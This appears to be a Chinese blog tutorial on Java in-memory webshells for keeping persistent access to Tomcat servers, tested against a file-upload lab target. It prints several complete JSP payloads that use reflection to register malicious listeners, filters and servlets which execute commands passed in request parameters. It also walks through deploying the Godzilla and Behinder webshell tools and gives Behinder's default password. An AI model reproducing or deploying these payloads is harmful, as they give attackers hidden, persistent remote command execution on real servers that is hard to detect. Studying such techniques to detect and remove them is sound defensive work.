java内存马

web权限维持

介绍

webshell内存马是把木马和后门写在内存中 然后去执行 达到webshell

可以加强攻击的隐蔽性和排查难度

java内存马

相关文章

前置

java在进行web服务时 有三大件开启

image-20240912163430370

启动的顺序为listener->Filter->servlet

  • Servlet 是运行在 Web 服务器或应用服务器上的程序,作为来自 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层,负责处理用户的请求,并根据请求生成相应的返回信息提供给用户。

  • Filter,过滤器,是对Servlet技术的一个强补充,其主要功能是

    • 在HttpServletRequest到达 Servlet 之前,拦截客户的HttpServletRequest ,根据需要检查HttpServletRequest,也可以修改HttpServletRequest 头和数据
    • 在HttpServletResponse到达客户端之前,拦截HttpServletResponse ,根据需要检查HttpServletResponse,也可以修改HttpServletResponse头和数据
  • JavaWeb开发中的监听器(Listener)就是Application、Session和Request三大对象创建、销毁或者往其中添加、修改、删除属性时自动执行代码的功能组件

    • 可以使用监听器监听客户端的请求、服务端的操作等
    • 可以自动出发一些动作,比如监听在线的用户数量,统计网站访问量、网站访问监控等

所以

Java的内存马可以在这三个方向做文章

环境

找了个可以用java内存马打的靶场

tomcat的

image-20240912165112809

这里模拟的是一个文件上传的功能点

我们可以通过内存马打入目标服务器

添加tomcat配置

image-20240912165558670

应用

jdk配的是8u65

image-20240912165843381

内存马

监听器内存马

监听器是请求服务的第一个位置 这意味着我们只要请求就会触发

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%
Object obj = request.getServletContext();
java.lang.reflect.Field field = obj.getClass().getDeclaredField("context");
field.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) field.get(obj);
//获取ApplicationContext
field = applicationContext.getClass().getDeclaredField("context");
field.setAccessible(true);
StandardContext standardContext = (StandardContext) field.get(applicationContext);
//获取StandardContext
ListenerDemo listenerdemo = new ListenerDemo();
//创建能够执行命令的Listener
standardContext.addApplicationEventListener(listenerdemo);
%>
<%!
public class ListenerDemo implements ServletRequestListener {
public void requestDestroyed(ServletRequestEvent sre) {
System.out.println("requestDestroyed");
}
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("requestInitialized");
try{
String cmd = sre.getServletRequest().getParameter("cmd");
Runtime.getRuntime().exec(cmd);
}catch (Exception e ){
//e.printStackTrace();
}
}
}
%>

通过反射机制在Tomcat服务器中绕过正常的安全限制,来动态地向一个Web应用程序添加事件监听器,并在这个监听器中执行任意系统命令。

  1. 获取ServletContext并反射获取ApplicationContextStandardContext
    • 通过request.getServletContext()获取当前Web应用的ServletContext对象。
    • 使用反射机制访问ServletContext对象中的context字段(这里假设context字段存在,实际上ServletContext类并没有直接暴露这样的字段,这里可能是为了示例而假设的)。
    • context字段的值(假设为ApplicationContext类型)转换为ApplicationContext,并再次使用反射访问其context字段,这次将其值转换为StandardContext
  2. 创建并执行任意命令的监听器
    • 在JSP页面中定义了一个名为ListenerDemo的内部类,它实现了ServletRequestListener接口。这个接口允许监听器在Servlet请求被初始化和销毁时接收通知。
    • requestInitialized方法中,监听器尝试从HTTP请求中获取名为cmd的参数,并使用Runtime.getRuntime().exec(cmd)执行这个命令。这允许任何能够向这个Web应用发送HTTP请求的用户执行服务器上的任意命令。
  3. 向Web应用添加监听器
    • 使用standardContext.addApplicationEventListener(listenerdemo);ListenerDemo实例作为事件监听器添加到Web应用中。这意味着每当有新的请求进入时,ListenerDemorequestInitialized方法都会被调用,尝试执行请求中指定的命令。

同理

另一个内存马

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="javax.servlet.annotation.WebServlet" %>
<%@ page import="javax.servlet.http.HttpServlet" %>
<%@ page import="javax.servlet.http.HttpServletRequest" %>
<%@ page import="javax.servlet.http.HttpServletResponse" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<!-- 1、exec this-->
<!-- 2、request any url with a parameter of "shell" -->

<%
class S implements ServletRequestListener{
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {

}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
if(request.getParameter("shell") != null){
try {
Runtime.getRuntime().exec(request.getParameter("shell"));
} catch (IOException e) {}
}
}
}
%>

<%
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
out.println("inject success");
S servletRequestListener = new S();
standardContext.addApplicationEventListener(servletRequestListener);
%>
<!-- 1、exec this-->
<!-- 2、request any url with a parameter of "shell" -->

提交内存马

image-20240912170925048

成功

访问这个木马 并尝试调用计算器

image-20240912171453008

没有调用出来

这是因为在把木马写入监听器里

再次访问

image-20240912171530172

调用成功

并且此时我们随便找一个路径执行cmd都行

image-20240912171641415

过滤器内存马
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ page import="java.io.IOException"%>
<%@ page import="javax.servlet.DispatcherType"%>
<%@ page import="javax.servlet.Filter"%>
<%@ page import="javax.servlet.FilterChain"%>
<%@ page import="javax.servlet.FilterConfig"%>
<%@ page import="javax.servlet.FilterRegistration"%>
<%@ page import="javax.servlet.ServletContext"%>
<%@ page import="javax.servlet.ServletException"%>
<%@ page import="javax.servlet.ServletRequest"%>
<%@ page import="javax.servlet.ServletResponse"%>
<%@ page import="javax.servlet.annotation.WebServlet"%>
<%@ page import="javax.servlet.http.HttpServlet"%>
<%@ page import="javax.servlet.http.HttpServletRequest"%>
<%@ page import="javax.servlet.http.HttpServletResponse"%>
<%@ page import="org.apache.catalina.core.ApplicationContext"%>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig"%>
<%@ page import="org.apache.catalina.core.StandardContext"%>
<%@ page import="org.apache.tomcat.util.descriptor.web.*"%>
<%@ page import="org.apache.catalina.Context"%>
<%@ page import="java.lang.reflect.*"%>
<%@ page import="java.util.EnumSet"%>
<%@ page import="java.util.Map"%>


<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Insert title here</title>
</head>
<body>
<%
final String name = "n1ntyfilter";

ServletContext ctx = request.getSession().getServletContext();
Field f = ctx.getClass().getDeclaredField("context");
f.setAccessible(true);
ApplicationContext appCtx = (ApplicationContext)f.get(ctx);

f = appCtx.getClass().getDeclaredField("context");
f.setAccessible(true);
StandardContext standardCtx = (StandardContext)f.get(appCtx);


f = standardCtx.getClass().getDeclaredField("filterConfigs");
f.setAccessible(true);
Map filterConfigs = (Map)f.get(standardCtx);

if (filterConfigs.get(name) == null) {
out.println("inject "+ name);

Filter filter = new Filter() {
@Override
public void init(FilterConfig arg0) throws ServletException {
// TODO Auto-generated method stub
}

@Override
public void doFilter(ServletRequest arg0, ServletResponse arg1, FilterChain arg2)
throws IOException, ServletException {
// TODO Auto-generated method stub
HttpServletRequest req = (HttpServletRequest)arg0;
if (req.getParameter("cmd") != null) {
byte[] data = new byte[1024];
Process p = new ProcessBuilder("cmd.exe","/c", req.getParameter("cmd")).start();
int len = p.getInputStream().read(data);
p.destroy();
arg1.getWriter().write(new String(data, 0, len));
return;
}
arg2.doFilter(arg0, arg1);
}

@Override
public void destroy() {
// TODO Auto-generated method stub
}
};

FilterDef filterDef = new FilterDef();
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);

standardCtx.addFilterDef(filterDef);

FilterMap m = new FilterMap();
m.setFilterName(filterDef.getFilterName());
m.setDispatcher(DispatcherType.REQUEST.name());
m.addURLPattern("/*");


standardCtx.addFilterMapBefore(m);


Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
FilterConfig filterConfig = (FilterConfig)constructor.newInstance(standardCtx, filterDef);


filterConfigs.put(name, filterConfig);

out.println("injected");
}
%>
</body>
</html>
  • 创建恶意filter
  • 用filterDef对filter进行封装
  • 将filterDef添加到filterDefs跟filterConfigs中
  • 创建一个新的filterMap将URL跟filter进行绑定,并添加到filterMaps中。要注意的是,因为filter生效会有一个先后顺序,所以一般来讲我们还需要把我们的filter给移动到FilterChain的第一位去
  • 每次请求createFilterChain都会依据此动态生成一个过滤链,而StandardContext又会一直保留到Tomcat生命周期结束,所以我们的内存马就可以一直驻留下去,直到Tomcat重启

访问这个jsp,注入成功后,用?cmd=即可命令执行(该方法只支持 Tomcat 7.x 以上,因为 javax.servlet.DispatcherType 类是servlet 3 以后引入,而 Tomcat 7以上才支持 Servlet 3)

image-20240912172803313

同理 访问这个内存马 并执行命令 让他把木马写道过滤器中

image-20240912172858373

再次访问

image-20240912172951522

命令执行成功

同样不管路径 因为访问web一定会经过这三大件

image-20240912173121134

其他内存马

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import = "org.apache.catalina.Context" %>
<%@ page import = "org.apache.catalina.core.ApplicationContext" %>
<%@ page import = "org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import = "org.apache.catalina.core.StandardContext" %>

<!-- tomcat 8/9 -->
<!-- page import = "org.apache.tomcat.util.descriptor.web.FilterMap"
page import = "org.apache.tomcat.util.descriptor.web.FilterDef" -->

<!-- tomcat 7 -->
<%@ page import = "org.apache.catalina.deploy.FilterMap" %>
<%@ page import = "org.apache.catalina.deploy.FilterDef" %>


<%@ page import = "javax.servlet.*" %>
<%@ page import = "javax.servlet.annotation.WebServlet" %>
<%@ page import = "javax.servlet.http.HttpServlet" %>
<%@ page import = "javax.servlet.http.HttpServletRequest" %>
<%@ page import = "javax.servlet.http.HttpServletResponse" %>
<%@ page import = "java.io.IOException" %>
<%@ page import = "java.lang.reflect.Constructor" %>
<%@ page import = "java.lang.reflect.Field" %>
<%@ page import = "java.lang.reflect.InvocationTargetException" %>
<%@ page import = "java.util.Map" %>


<!-- 1 revise the import class with correct tomcat version -->
<!-- 2 request this jsp file -->
<!-- 3 request xxxx/this file/../abcd?cmdc=calc -->

<%
class DefaultFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
HttpServletResponse response = (HttpServletResponse) servletResponse;
if (req.getParameter("cmdc") != null) {
Runtime.getRuntime().exec(req.getParameter("cmdc"));
response.getWriter().println("exec done");
}
filterChain.doFilter(servletRequest, servletResponse);
}
public void destroy() {}

}
%>


<%
String name = "DefaultFilter";
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(name) == null){
DefaultFilter filter = new DefaultFilter();
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
// filterMap.addURLPattern("/*");
filterMap.addURLPattern("/abcd");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(name, filterConfig);
out.write("Inject success!");
}
else{
out.write("Injected");
}
%>

伺服器内存马

和前面同理

  • 创建一个恶意的servlet
  • 获取当前的StandardContext
  • 将恶意servlet封装成wrapper添加到StandardContext的children当中
  • 添加ServletMapping将访问的URL和wrapper进行绑定
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.PrintWriter" %>

<%
// 创建恶意Servlet
Servlet servlet = new Servlet() {
@Override
public void init(ServletConfig servletConfig) throws ServletException {

}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
String cmd = servletRequest.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {

}
};

%>
<%
// 获取StandardContext
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();

// 用Wrapper对其进行封装
org.apache.catalina.Wrapper newWrapper = standardCtx.createWrapper();
newWrapper.setName("jweny");
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);
newWrapper.setServletClass(servlet.getClass().getName());

// 添加封装后的恶意Wrapper到StandardContext的children当中
standardCtx.addChild(newWrapper);

// 添加ServletMapping将访问的URL和Servlet进行绑定
standardCtx.addServletMapping("/shell","jweny");
%>

访问当前应用的/shell路径,加上cmd参数就可以命令执行

image-20240912173559801

其他伺服器内存马

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import = "org.apache.catalina.core.ApplicationContext"%>
<%@ page import = "org.apache.catalina.core.StandardContext"%>
<%@ page import = "javax.servlet.*"%>
<%@ page import = "javax.servlet.annotation.WebServlet"%>
<%@ page import = "javax.servlet.http.HttpServlet"%>
<%@ page import = "javax.servlet.http.HttpServletRequest"%>
<%@ page import = "javax.servlet.http.HttpServletResponse"%>
<%@ page import = "java.io.IOException"%>
<%@ page import = "java.lang.reflect.Field"%>


<!-- 1 request this file -->
<!-- 2 request thisfile/../evilpage?cmd=calc -->


<%
class EvilServlet implements Servlet{
@Override
public void init(ServletConfig config) throws ServletException {}
@Override
public String getServletInfo() {return null;}
@Override
public void destroy() {} public ServletConfig getServletConfig() {return null;}

@Override
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
HttpServletRequest request1 = (HttpServletRequest) req;
HttpServletResponse response1 = (HttpServletResponse) res;
if (request1.getParameter("cmd") != null){
Runtime.getRuntime().exec(request1.getParameter("cmd"));
}
else{
response1.sendError(HttpServletResponse.SC_NOT_FOUND);
}
}
}
%>


<%
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
EvilServlet evilServlet = new EvilServlet();
org.apache.catalina.Wrapper evilWrapper = standardContext.createWrapper();
evilWrapper.setName("evilPage");
evilWrapper.setLoadOnStartup(1);
evilWrapper.setServlet(evilServlet);
evilWrapper.setServletClass(evilServlet.getClass().getName());
standardContext.addChild(evilWrapper);
standardContext.addServletMapping("/evilpage", "evilPage");
out.println("动态注入servlet成功");
%>

哥斯拉内存马

哥斯拉先生成一个java的木马

image-20240912174544931

上传shell.jsp

image-20240912174645903

image-20240912174658715

哥斯拉连接

image-20240912174832032

进入

image-20240912174915764

上面有一个memoryshell 这就是我们的内存马

image-20240912175020922

我们run一下这个内存马

他的内存马是在/favicon.ico下的

新建监听器连接

image-20240912175356400

成功

是在根目录下

冰蝎内存马

之前一直没用过

冰蝎的木马是存放在他的文件夹中的

image-20240912180142537

默认连接密码rebeyond

上传木马

image-20240912180333678

冰蝎连接

image-20240912180523044

打开

image-20240912180603597

呃 连接失败了

好像是这个靶场权限的问题

我们把这个木马放到根目录下来

image-20240912180813697

根目录下连接成功

image-20240912180851939

在外面可以打内存马

image-20240912181014999

image-20240912181611469

失败

网上找了发现是工具本身的问题

image-20240912181741905

不能用这个路径

这个路径

image-20240912181759767

添加时也不能用这个路径

image-20240912181825778

要到网站根目录下的/aaa去

image-20240912181953948

攻击成功

image-20240912182019105

网站根目录下是没有/aaa路径的

image-20240912182059599